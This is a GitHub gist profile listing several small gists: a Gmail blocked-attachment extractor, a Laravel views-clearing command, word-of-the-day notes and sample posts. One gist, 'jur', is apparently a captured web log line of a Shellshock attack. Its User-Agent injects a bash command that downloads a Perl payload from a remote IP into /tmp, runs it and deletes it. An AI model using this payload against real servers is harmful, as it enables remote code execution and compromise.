Skip to content

Instantly share code, notes, and snippets.

View saji89's full-sized avatar

Saji Nediyanchath saji89

View GitHub Profile
@saji89
saji89 / extract-attachments.py
Created August 28, 2018 18:36 — forked from stefansundin/extract-attachments.py
Extract attachments from emails that Gmail doesn't allow you to download. This is dumb. Please use Python >= 3.4.
#!/usr/bin/env python3
# Get your files that Gmail block. Warning message:
# "Anti-virus warning - 1 attachment contains a virus or blocked file. Downloading this attachment is disabled."
# Based on: https://spapas.github.io/2014/10/23/retrieve-gmail-blocked-attachments/
# Instructions:
# Go to your emails, click the arrow button in the top right, "Show original", then "Download Original".
# Move the files to the same directory as this program, then run it.
import email
@saji89
saji89 / Laravel\app\commands\ViewsCommand.php
Created June 10, 2016 12:37 — forked from cjonstrup/Laravel\app\commands\ViewsCommand.php
Clear Laravel 4.* app/storage/views artisan views:clear
<?php
use Illuminate\Console\Command;
use Illuminate\Filesystem\Filesystem;
class ViewsCommand extends Command {
/**
* The console command name.
*
* @var string
@saji89
saji89 / jur
Last active August 29, 2015 14:06
GET /cgi-bin/hello HTTP/1.0" 301 0 "-" "() { :;}; /bin/bash -c \x22cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur\x22
@saji89
saji89 / wotd.md
Last active August 29, 2015 13:57 — forked from w3br3ap3r/wotd.md

22/03/2014 (Saji)

cynicism (കുറ്റം കണ്ടുപിടിക്കുന്ന സ്വഭാവം, ദോഷദര്‍ശന സ്വഭാവം)

  • an inclination to believe that people are motivated purely by self-interest

Synonyms(or similar words):

  • skepticism, distrust, mistrust, suspicion, disbelief
Usage:
@saji89
saji89 / wotd.md
Last active August 29, 2015 13:57 — forked from w3br3ap3r/wotd.md
Word of the day log

18/03/2014 (Helan)

Strive (അദ്ധ്വാനിക്കുക,പരിശ്രമിക്കുക)

  • make great efforts to achieve or obtain something
Usage:
  • We continually strive to better our service to our customers.

17/03/2014 (Hari)

@saji89
saji89 / 0_reuse_code.js
Created March 1, 2014 09:59
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@saji89
saji89 / gist:7818823
Created December 6, 2013 05:00 — forked from idan/gist:3135754

Hello there! This is a sample post for gist.io, a super-lightweight writing soapbox for hackers.

Now look up. Further. Above the post title. See that grey text with the gist ID?

Now back to me. That grey text is a link! Open that sucker in a new tab to see the source for this post. Also, I'm on a horse.

This is a major heading

If you peek at it with a web inspector, you'll see that it is a second-level heading. You can use first level headings, but they'll look just like the second level ones, and the gods of the HTML5 outlining algorithm will frown upon you.